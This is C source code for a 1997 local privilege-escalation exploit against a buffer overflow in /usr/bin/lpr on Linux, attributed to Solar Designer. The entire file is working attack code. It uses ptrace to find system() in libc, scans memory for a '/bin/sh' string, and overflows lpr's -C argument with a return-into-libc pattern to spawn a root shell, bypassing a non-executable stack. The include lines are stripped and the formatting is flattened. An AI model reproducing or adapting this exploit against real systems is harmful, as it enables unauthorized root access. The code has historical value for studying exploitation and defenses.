/* * /usr/bin/lpr buffer overflow exploit for Linux with * non-executable stack * Copyright (c) 1997 by Solar Designer */ #include #include #include #include #include #include #include #include #include #define SIZE 1200 /* Amount of data to overflow with */ #define ALIGNMENT 11 /* 0, 8, 1..3, 9..11 */ #define ADDR_MASK 0xFF000000 char buf[SIZE]; int *ptr; int pid, pc, shell, step; int started = 0; jmp_buf env; void handler() { started++; } /* SIGSEGV handler, to search in libc */ void fault() { if (step < 0) { /* Change the search direction */ longjmp(env, 1); } else { /* The search failed in both directions */ puts("\"/bin/sh\" not found, bad luck"); exit(1); } } void error(char *fn) { perror(fn); if (pid > 0) kill(pid, SIGKILL); exit(1); } void main() { signal(SIGUSR1, handler); /* Create a child process to trace */ if ((pid = fork()) < 0) error("fork"); if (!pid) { /* Send the parent a signal, so it starts tracing */ kill(getppid(), SIGUSR1); /* A loop since the parent may not start tracing immediately */ while (1) system(""); } /* Wait until the child tells us the next library call will be system() */ while (!started); if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH"); /* Single step the child until it gets out of system() */ do { waitpid(pid, NULL, WUNTRACED); pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0); if (pc == -1) error("PTRACE_PEEKUSR"); if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP"); } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK)); /* Single step the child until it calls system() again */ do { waitpid(pid, NULL, WUNTRACED); pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0); if (pc == -1) error("PTRACE_PEEKUSR"); if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP"); } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK)); /* Kill the child, we don't need it any more */ if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL"); pid = 0; printf("system() found at: %08x\n", pc); /* Let's hope there's an extra NOP if system() is 256 byte aligned */ if (!(pc & 0xFF)) if (*(unsigned char *)--pc != 0x90) pc = 0; /* There's no easy workaround for these (except for using another function) */ if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) { puts("Zero bytes in address, bad luck"); exit(1); } /* * Search for a "/bin/sh" in libc until we find a copy with no zero bytes * in its address. To avoid specifying the actual address that libc is * mmap()ed to we search from the address of system() in both directions * until a SIGSEGV is generated. */ if (setjmp(env)) step = 1; else step = -1; shell = pc; signal(SIGSEGV, fault); do while (memcmp((void *)shell, "/bin/sh", 8)) shell += step; while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000)); signal(SIGSEGV, SIG_DFL); printf("\"/bin/sh\" found at: %08x\n", shell); /* * When returning into system() the stack should look like: * pointer to "/bin/sh" * return address placeholder * stack pointer -> pointer to system() * * The buffer could be filled with this 12 byte pattern, but then we would * need to try up to 12 values for the alignment. That's why a 16 byte pattern * is used instead: * pointer to "/bin/sh" * pointer to "/bin/sh" * stack pointer (case 1) -> pointer to system() * stack pointer (case 2) -> pointer to system() * * Any of the two stack pointer values will do, and only up to 8 values for * the alignment need to be tried. */ memset(buf, 'x', ALIGNMENT); ptr = (int *)(buf + ALIGNMENT); while ((char *)ptr < buf + SIZE - 4*sizeof(int)) { *ptr++ = pc; *ptr++ = pc; *ptr++ = shell; *ptr++ = shell; } buf[SIZE - 1] = 0; execl("/usr/bin/lpr", "lpr", "-C", buf, NULL); error("execl"); }